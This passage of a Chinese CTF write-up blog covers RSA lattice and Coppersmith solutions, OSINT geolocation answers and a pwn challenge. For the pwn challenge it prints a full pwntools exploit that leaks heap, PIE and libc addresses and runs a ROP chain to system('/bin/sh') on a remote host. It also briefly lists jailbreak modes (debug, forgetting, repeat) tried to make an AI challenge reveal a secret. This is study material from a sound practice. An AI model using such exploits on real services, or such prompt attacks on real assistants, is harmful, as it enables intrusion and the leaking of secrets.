24402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670, 20215481513831963554421686543560596857659844027486522940060791775984622049024173363533378455076109165728144576719015392033536498353094895564917644840994662704362121549525329105205514332808950206092190939931448, 18384453917605955747212560280232547481041600196031285084598132475801990710125754705645482436436531608696373462641765399622296314590071558616193035939108523357020287896879479452040171765916716377102454266933226, 21890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218, 18379893441293694747570620009241814202936873442370354246029979042247705730610190888710981918183390028386451290137755339890329474403224043675724851314770861939082447728194632548864823398818221526652331319263027, 18715827130228986951360013590464775001019026913384718876134449689773600060962392738619405370033085704046027397895627933844824630723286144367800484157574548819065406118338665931032779491897783504790669824301288, 13588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259, 18506039912943821193373920483847347155611306173368341979655092778147169768984477236224526786441466933360500418090210912574990962709452725122792963919616633389125605160796446674502416801964271004625701238202575, 22167985517547342184812919437069844889650448522260359154086923601900060998572245598167213217022051141570075284051615276464952346620430587694188548679895095556459804921016744713098882496174497693878187665372865, 21507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220, 20250321586608105267884665929443511322540360475552916143405651419034772061789298150974629817817611591100450468070842373341756704300393352252725859102426665187194754280129749402796746118608937061141768301995522, 16104259151024766025645778755951638093681273234415510444173981198301666343334808614748361662637508091511498829253677167171091582942780017355912433497214576425697459483727777273045993446283721290714044600814203, 14560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068, 16239347596615402699390026749150381714807445218767496868569282767673828662340774349530405347667558555781433774705139593469838946201218537641296949822639509296966092138954685186059819628696340121356660166937131, 21344472317634795288252811327141546596291633424850284492351783921599290478005814133560171828086405152298309169077585647189366292823613547973428250604674234857289341613448177246451956695700417432794886277704716, 16053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679, 18917855883623050190154989683327838135081813638430345099892537186954876489710857473326920009412778140451855952622686635694323466827034373114657023892484639238914593012175120540210780102536003758794571846502397, 22690171278715056779052233972642657173540399024770527983659216197108042021644328773010698851143953503599329885607621773816718008861742027388432534850163666629476315340137626681994316866368449548292328156728206, 21087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797, 18439753470094841291394543396785250736332596497190578058698960152415339036714664835925822942784700917586270640813663002161425694392259981974491535370706560550540525510875465091384383255081297963169390777475352, 20105719699015744146039374208926740159952318391171137544887868739518535254000803811729763681262304539724253518465850883904308979964535242371235415049403280585133993732946919550180260852767289669076362115454200, 17251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899, 23027331991437585896233907022469624030630702237261170259290872847355304456043379238362120518409085840638396736666056992747627271193089116095167049248270541979716594671069985183070290375121270398623215587207529, 18158149685496169798299129683009221264185608469410295069411669832919646968324946121757411511373498747604679198739125835462814352243797919744572086307939585501566092705355693015625009717017077302201663788208609, 18276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348, 19830654702835464289082520892939657653574451119898587213320188332842291005863699764597454403874285715252681820027919359194554863299385911740908952649966617784376852963552276558475217168696695867402522508290055, 15349828226638644963106414986240676364822261975534684137183044733508521003843559094515387144949811552173241406076270015291925943459603622043168219534080772937297911323165839870364550841685270125556125756627553, 20923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013, 21095748006022412831703352650023882351218414866517568822818298949510471554885207645049385966827210564667371665855668707424105040599599901165292360321667007968065708796593851653085339928947755081203265281357013, 20136320433636422315432754195821125224777716034031656342233368000257459497472596860252592531939146543685406198978058242599116859263546329669263543660114747385041549283367183026001454445297981439938401547228229, 16496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705, 13788728438272498164727737074811797093818033799836159894472736480763530670013682288670889124484670336660448907074673625466218166413315342420667608074179975422284472184048790475129281850298519112884101776426380, 24852871485448795332267345793743281093931161235481251209948049584749441451621572752080662697610253315331335180611651946374137068256112152253681972406000252076016099200912670370417045090034045383991812756120791, 18663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714, 21400068681031931459396470039651524575262457489792894764406364952394476440804779651233022862527636114968325782197380721095406628084183336358459476006267416033892771932528688312375109463803215034905281657962293, 16044158155847172030103761204572942507195578382208455423846603003318483484698088948486132040995746837257705704187725306831142305215342467016564452582165866039427184607605673304595194959499145031211096109534167, 16518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696, 22032469066601123287586507039704080058983969235246539501189720236880312024198451198788699002335010120658564926677243708367430773661097221076615953342733896063909953602379936312639192315223258556134958059637605, 17474611942177808070315948910226643697957069578572244709354155010512694059987765040746148981545760660371360975936526076852619987733316042847813177383519241505024635332293992920023420060610648140841369822739716, 20097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570, 18170251482705061226968041449812078923477452841162650888922564215790088545936753453513162197661916172215859504545409274440450807677845894292177296835154674774694992388033874349807244020099167681146357128785394, 18084007437523118129421476751918491055914528331902780911288404344016551650138679157754567938593688369062981279371320169939281882307797009116458871503759873023914718337944953764426183937635379280572434676575757, 17001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118, 20217009574515126619724139485885721324936960849401637840860565569588595992087537454744066905387396266844236387315004915383456736142307523960394594650088663019228826091309049211780607761862663242437656610298243, 25534440916970201550118006203706860249111087748000550226680885431006136131742280963090650607632467666558508520152535105122661615376298673454198064361094319699307084117001019115669670029195171047304283891069792, 18871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573, 20173968537913641339915058056878181363456579537994317562789857397928196160113042659777558550242315788417022891612723148843142958668959046890197219991727894451795438138592005695329607326086644956073759609743066, 20601943394990265144021144365970164017319737300436518536503270346147112565303361487668388700369636611354280332841812324530501569200031186584749278453651172121161814207025650519637781007286435981682228528706305, 16397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750, 21373350333568141000876969785296802670776508778278005158047105058430550665787088265486222905402690421155861103648370249249790560185790723042867282734693553039477436055775198037042047438047898227097749354619822, 17767469767416052322357795736899648760868316512079849340028040817353808899589201201338152114229279980849491049574543361275046276135253417685681262008211582060955974064559129311524323185960856955462761555353091, 22148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734, 21663842528026621741414050256553652815372885707031383713657826718944735177083300302064509342116651731671570591336596953911570477161536730982887182434407761036442993588590230296643001682944654490645815177777455, 20219077358929317461660881724990436334639078047412693497584358963241840513748365548465302817975329987854784305275832045889690022909383530837382543579292451297269623663257098458645056099201050578472103957851128, 18255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336, 24926064145128749429079117171467042019887257504329103038171762786986349157515552927216574990423327013202735544601170247730647598931030432792167867343343213411600516855009788294067588153504026267213013591793027, 22369607314724468760253123915374991621544992437057652340350735935680183705467064876346663859696919167243522648029531700630202188671406298533187087292461774927340821192866797400987231509211718089237481902671100, 16994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570, 21758885458682118428357134100118546351270408335845311063139309657532131159530485845186953650675925931634290182806173575543561250369768935902929861898597396621656214490429009706989779345367262758413050071213624, 20156282616031755826700336845313823798147854495428660743884481573484471099887576514309769978525225369254700468742981099548840277532978306665910844928986235042420698332201264764734685502001234369189521332392642, 23291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613, 19807792217079652175713365065361659318870738952921195173619551645956745050506271953949139230097128034416815169649874760890189515620232505703162831090225715453502422905418824316957257395992121750661389503495033, 22074209373194902539215367382758486068533032275912313703269990627206774967653336496619231924013216321042649461711292555464574124714934511202231319963361912937842068483700298097209400217869036338644607607557860, 19678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378, 24746314790210393213546150322117518542380438001687269872679602687597595933350510598742749840102841364627647151669428936678130556027300886850086220074563664367409218038338623691372433831784916816798993162471163, 19346137206512895254202370018555139713690272833895195472766704715282164091959131850520571672509601848193468792313437642997923790118115476212663296111963644011010744006086847599108492279986468255445160241848708, 22739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347, 21491512279698208400974501713300096639215882495977078132548631606796810881149011161903684894826752520167909538856354238104288201344211604223297924253960199754326239113862002469224042442018978623149685130901455, 19381008151938129775129563507607725859173925946797075261437001349051037306091047611533900186593946739906685481456985573476863123716331923469386565432105662324849798182175616351721533048174745501978394238803081, 19965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]

V = hints[:4]
k = 2^800
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]

for s, t in itertools.product(range(4), repeat=2):
T = s*B[0] + t*B[1]
a1, a2, a3, a4 = T
kq = gcd(a1 * hints[1] - a2 * hints[0], n)
if 1 < kq < n:
print('find!', kq, s, t)
break
for i in range(2**16, 1, -1):
if kq % i == 0:
kq //= i
q = int(kq)
p = int(n // kq)
d = pow(0x10001, -1, (p - 1) * (q - 1))
print(d)
m = pow(c, d, n)
print(m)
#9126225092709586133885512609890
#d=63161710023005682001641222387261908738600679768601303308593545341859788186928800467532061832081889220655732875520328593226116199528042689465519293752965146159007213214854517385876812127128763146579744489192395430402667797637566878199509162723122664866142409202723436205520130646241903926144243067536101288033

顺便把第二轮的私钥也求出来,后一轮要用

这样就求出了第二轮的m和第二轮的d,发现第三轮的d和第二轮是一样的

那第三轮就简单了,直接解就行

1
2
3
4
5
6
7
import gmpy2 
from Crypto.Util.number import *
n=73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
d=63161710023005682001641222387261908738600679768601303308593545341859788186928800467532061832081889220655732875520328593226116199528042689465519293752965146159007213214854517385876812127128763146579744489192395430402667797637566878199509162723122664866142409202723436205520130646241903926144243067536101288033
enc3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
print(pow(enc3,d,n))
#m=35087185078676320138270155133

然后,拼起来就行

1
2
3
4
5
6
m1=8114814712001608912087736741471
m2=9126225092709586133885512609890
m3=35087185078676320138270155133
from Crypto.Util.number import *
print(long_to_bytes(m1)+long_to_bytes(m2)+long_to_bytes(m3))
#b'flag{yOu_can_s0lve_the_@pbq_prob1em!!}'

flag{yOu_can_s0lve_the_@pbq_prob1em!!}

Pwn

chat_with_me

这是一个rust的应用,比较难逆向,然而功能就是菜单堆(其实不是堆)

一共有四个功能

  • 添加消息是在一个manager(申请的堆块)中写地址,manager的大小是指数级增长的,当添加消息功能的指针占满了就会realloc,0x1 * 8 、0x2 * 8 、0x4*8以此类推。
  • 删除消息没啥用,至少对于本wp这个做法来说,就是将manager里剩余的指针向前拷贝
  • 编辑消息是对于manager中的指针所指向的缓冲区进行编辑
  • 查看消息是对于manager中的指针指向的缓冲区进行打印,按照字节数组的方式

本题的漏洞是:在添加消息时,返回的指针是栈上的,sub_199d0返回的消息指针是其参数

而其调用者传入的是v2这个临时变量指针,这个指针指向的位置是添加消息栈的低地址处,如果添加消息返回,再次调用编辑消息,那么编辑消息时将会修改编辑消息函数本身的临时变量。

本题的利用方式为:

1、首先,申请129个message,这样manager本身就会处于tcahce的大小之外(0x10+256*8=0x810)然后查看(show)任何一个消息,都会泄露出一个堆地址和一个栈地址。

2、然后编辑消息,在编辑时会输入一个index,这个index输入时估计是一个rust的string,内容是(8+字符串堆块地址+字符串长度/8)编辑完毕后,该字符串会被free掉,包括其中的字符串堆块。

3、而此时,该字符串对象刚好在栈指针+0x50的编辑范围内,将该指针的内容换成泄露的堆地址减去一定偏移(这个是可以调试的)就能够把manager给free掉,之后,manager会进入unsortedbin

4、再次edit,此时,该unsortedbin会被切割,会留下一个指向自己的指针,利用该指针写manager,给栈上留一个指针,堆上留一个指针。

5、利用栈上的指针读返回地址,得到程序在PIE下的加载地址

6、利用堆上指针重新写manager,添加一个指向got表的指针

7、got表只读,所以利用新的got表指针泄露libc地址

8、利用栈上指针写返回地址,ROP执行system("/bin/sh")即可,字符串放在ROP链末尾,反正栈地址也知道。

Getshell

ps:这个截图是结束后又跑了一遍代码补的,第一次交的忘了截图了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

context.log_level='debug'
#io=process("./pwn")
#io=gdb.debug("./pwn")
io=remote("101.200.139.65",32789)
def cmd(opcode):
io.recvuntil(b"Choice >")
io.sendline(str(opcode))
return

def add():
cmd(1)
return

def show(idx):
cmd(2)
io.recvuntil(b"Index >")
io.sendline(str(idx))
return

def edit(idx,data):
cmd(3)
io.recvuntil(b"Index >")
io.sendline(str(idx))
io.recvuntil(b"Content >")
io.send(data)
return

for x in range(129):
add()
show(0)
io.recvuntil(b"Content:")
content_bytes=io.recvuntil(b"]")
content_str = content_bytes.decode('utf-8')
numbers = [int(num) for num in content_str.split('[')[1].split(']')[0].split(',')]
u64_values = []

for i in range(0, len(numbers), 8):
byte_chunk = numbers[i:i+8]
u64_value = u64(bytes(byte_chunk))
u64_values.append(u64_value)

for value in u64_values:
print(hex(value))

leak_value=u64_values[1]
fucking_shit_chunk_manager_addr=leak_value-0x810

print(hex(fucking_shit_chunk_manager_addr))
pld=p64(0x0)*3+p64(0x8)+p64(fucking_shit_chunk_manager_addr)+p64(258)

edit(0x0,pld)
stack_addr=u64_values[4]-0x50
print("stack_addr"+hex(stack_addr))
pld2=p64(0x0)+p64(0x21)+p64(fucking_shit_chunk_manager_addr>>12)+p64(0x0)+p64(0x0)+p64(0x21)+p64(fucking_shit_chunk_manager_addr+0x50)+p64(u64_values[4]-0x50)+p64(0x0)+p64(0x811-0x40)

edit(2,pld2)
show(5)
io.recvuntil(b"Content:")
content_bytes=io.recvuntil(b"]")
content_str = content_bytes.decode('utf-8')
numbers = [int(num) for num in content_str.split('[')[1].split(']')[0].split(',')]
u64_values = []

for i in range(0, len(numbers), 8):
byte_chunk = numbers[i:i+8]
u64_value = u64(bytes(byte_chunk))
u64_values.append(u64_value)

for value in u64_values:
print(hex(value))

fuck_addr=u64_values[0]-0x1a925
print("process_addr"+hex(fuck_addr))
#pld3=p64(0x0)+p64(0x21)
edit(4,p64(fuck_addr+0x62218))
show(10)

io.recvuntil(b"Content:")
content_bytes=io.recvuntil(b"]")
content_str = content_bytes.decode('utf-8')
numbers = [int(num) for num in content_str.split('[')[1].split(']')[0].split(',')]
u64_values = []

for i in range(0, len(numbers), 8):
byte_chunk = numbers[i:i+8]
u64_value = u64(bytes(byte_chunk))
u64_values.append(u64_value)

for value in u64_values:
print(hex(value))

elf=ELF("./pwn")
libc=ELF("./QWB2024")

libc_base=u64_values[0]-libc.symbols['write'];
print("lib_addr"+hex(u64_values[0]-libc.symbols['write']))
sys_addr=libc_base+libc.symbols['system']
prdi_addr=fuck_addr+0x1dd45

pld3=p64(prdi_addr)+p64(stack_addr+0x20)+p64(0x0)+p64(sys_addr)+b'/bin/sh'
edit(5,pld3)
io.interactive()
#input()
#pld1=p64(0x0)*3+

Misc

签到

直接输入即可

flag{We1c0mE_T0_Qi@nGwangCuP_S8_H0pe_yOu_w1IL_L1kE_iT!}

问卷调查

flag{tHanKS_f0R_YoUr_FeeDBAck_seE_y0U_NexT_ye@r!}

Master of OSINT

任务为十张图,找出九张图的经纬度即可。

使用百度地图、谷歌识图、小红书、百度识图等工具慢慢一张一张找就行

第一张:

百度识图得,目标地点在青海湖附近,又是宽阔的马路,前方还有一个房子,我们直接把重心放到道路上

我们发现青海湖周围也没啥大的道路,所以目标放到了倒湖茶公路

沿着路搜索,就找到了目的地中的那个房子

经纬度:(99.9745,36.6671)

第二张:

发现图上有百安居的精准名字,于是遍历搜索全国的百安居,最后找到了百安居(龙阳店)

经纬度:(121.5659,31.2109)

第三张:

根据全景的最右边,基本确定是一个飞机场

百度识图得:

定位到百度地图,成都国际双流机场

经纬度:(103.9647,30.5719)

第四张:

百度识图,找到浙江长运物流股份有限公司(杭州储运分公司)

经纬度:(120.2933,30.3461)

第五张:

看到经典栏杆,一眼成都

搜图得:

经纬度:(106.5241,29.5250)

第六张:

识图得到:定位在南京铁路南站

经纬度:(118.7827,32.0134)

第七张:

定位该地址

发现是橘子洲头的高架,如下图

经纬度:(112.9695,28.2018)

第八张:

把重心放到高架、湖和风力发动机上

百度识图后,锁定下图

在长兴岛郊野公园

经纬度:(121.7348,31.4128)

第九张:

主要看这个桥,很有特征

感觉是长江,搜索一下,应该是在长江大桥上

定位到武汉天兴洲长江大桥

经纬度:(114.4125,30.6610)

最后解出9个图,得到flag

flag{f52a53006ed17f5a630483c36c873b27}

givemesecret

刚开始在网上搜到了对ai的浅析攻击,尝试了很多攻击方式,比如debug模式,遗忘模式,复述模式,都失败了,于是我们再进一步,使用了下图所示的方法,突然就出了(

2024网鼎杯

Posted on 2024-10-30 | In WriteUp

本人的第一篇blog,顺便记录一下前几天打的网鼎杯青龙组预赛,完成两道Crypto题和一道misc的解答。

战队获得2490分,排名150名左右。

Crypto

Crypto1

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p * q
d = getPrime(299)
e = inverse(d,(p-1)*(q-1))
m = bytes_to_long(flag)
c = pow(m,e,n)
hint1 = p >> (512-70)
hint2 = q >> (512-70)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint1 = {hint1}")
print(f"hint2 = {hint2}")

n = 65318835751656706270462803918372182811096669561139853833192009681234356986381524661604904085035483519298788284835759796179173585004238691057332447589167439506386243352011548441011828732868691543989256629925692290088144403935880664585931943707422938295860559274669263630591393175387389387981929391774213395003
e = 40738963799387627677248718814260921636491770341278750841486515130562842134876396915106681433734276005332410415984785584884091334455816402584507178231273998519376915363193650533215442952274343814099450187672503465016280527554101223321817109358581483535333734940968961773897326303002987203525415266163296607215
c = 28858301095788879003830568949705095027466057921892765321643055383309726369907606901866332954652632036004551285284813812187678314978562231120323470819722044516158810710408496414616381570397632550468546302235826400628265458069027801013266037490695637948933487646553291637002155559023268928639502489285322508063
hint1 = 624859718207126357681
hint2 = 810475217500119132950

发现是论文题,利用coppersmith来进行约束求解

参考了该论文https://eprint.iacr.org/2023/367.pdf

在github中找到了类似的代码,加以修改得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
import time
time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7

def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1

def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'

def remove_unhelpful(BB, monomials, bound, current):
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

for ii in range(current, -1, -1):

if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0

for jj in range(ii + 1, BB.dimensions()[0]):

if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
if BB[kk, affected_vector_index] != 0:
affected_deeper = False

if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
return BB


def boneh_durfee(pol, modulus, mm, tt, XX, YY):

PR.<u, x, y> = PolynomialRing(ZZ)
Q = PR.quotient(x*y + 1 - u)
polZ = Q(pol).lift()

UU = XX*YY + 1

gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

monomials = []
for polynomial in gg:
for monomial in polynomial.monomials():
if monomial not in monomials:
monomials.append(monomial)
monomials.sort()

for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift)

for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

if helpful_only:
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0

if debug:
helpful_vectors(BB, modulus^mm)

det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

if debug:
matrix_overview(BB, modulus^mm)

if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")

BB = BB.LLL()

if debug:
print ("LLL is done!")

if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):
PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)
soly = rr.roots()

if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly

def example():
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1
delta = 299/1024
for i in range(M):
N = 65318835751656706270462803918372182811096669561139853833192009681234356986381524661604904085035483519298788284835759796179173585004238691057332447589167439506386243352011548441011828732868691543989256629925692290088144403935880664585931943707422938295860559274669263630591393175387389387981929391774213395003
e = 40738963799387627677248718814260921636491770341278750841486515130562842134876396915106681433734276005332410415984785584884091334455816402584507178231273998519376915363193650533215442952274343814099450187672503465016280527554101223321817109358581483535333734940968961773897326303002987203525415266163296607215
c = 28858301095788879003830568949705095027466057921892765321643055383309726369907606901866332954652632036004551285284813812187678314978562231120323470819722044516158810710408496414616381570397632550468546302235826400628265458069027801013266037490695637948933487646553291637002155559023268928639502489285322508063
hint1 = 624859718207126357681
hint2 = 810475217500119132950

m = 7
t = round(((1-2*delta) * m))
X = floor(N^delta)
Y = floor(N^(1/2)/2^s)
for l in range(int(hint1),int(hint1)+1):
print('\n\n\n l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y)

if debug:
start_time = time.time()
solx, soly = boneh_durfee(pol, e, m, t, X, Y)


if solx > 0:
if False:
print ("x:", solx)
print ("y:", soly)

d_sol = int(pol(solx, soly) / e)
ss=ss+1

print ("=== solution found ===")
print ("p的高比特为:",l)
print ("q的高比特为:",qM)
print ("d=",d_sol)

if debug:
print("=== %s seconds ===" % (time.time() - start_time))
print("ss=",ss)
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()

解得:

1
d=514966421261428616864174659198108787824325455855002618826560538514908088230254475149863519

然后用正常的rsa解密即可

1
2
3
4
5
6
7
8
d=514966421261428616864174659198108787824325455855002618826560538514908088230254475149863519
e=40738963799387627677248718814260921636491770341278750841486515130562842134876396915106681433734276005332410415984785584884091334455816402584507178231273998519376915363193650533215442952274343814099450187672503465016280527554101223321817109358581483535333734940968961773897326303002987203525415266163296607215
n=65318835751656706270462803918372182811096669561139853833192009681234356986381524661604904085035483519298788284835759796179173585004238691057332447589167439506386243352011548441011828732868691543989256629925692290088144403935880664585931943707422938295860559274669263630591393175387389387981929391774213395003
c=28858301095788879003830568949705095027466057921892765321643055383309726369907606901866332954652632036004551285284813812187678314978562231120323470819722044516158810710408496414616381570397632550468546302235826400628265458069027801013266037490695637948933487646553291637002155559023268928639502489285322508063
from Crypto.Util.number import *
m=pow(c,d,n)
print(long_to_bytes(m))
#wdflag{097e0b16-3991-488a-b512-c3dbfb86db4a}

Crypto2

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# coding: utf-8
#!/usr/bin/env python2

import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from FLAG import flag
#flag = 'wdflag{123}'

def victory_encrypt(plaintext, key):
key = key.upper()
key_length = len(key)
plaintext = plaintext.upper()
ciphertext = ''

for i, char in enumerate(plaintext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
encrypted_char = chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
ciphertext += encrypted_char
else:
ciphertext += char

return ciphertext

victory_key = "WANGDINGCUP"
victory_encrypted_flag = victory_encrypt(flag, victory_key)

p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
a = 0
b = 7
xG = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
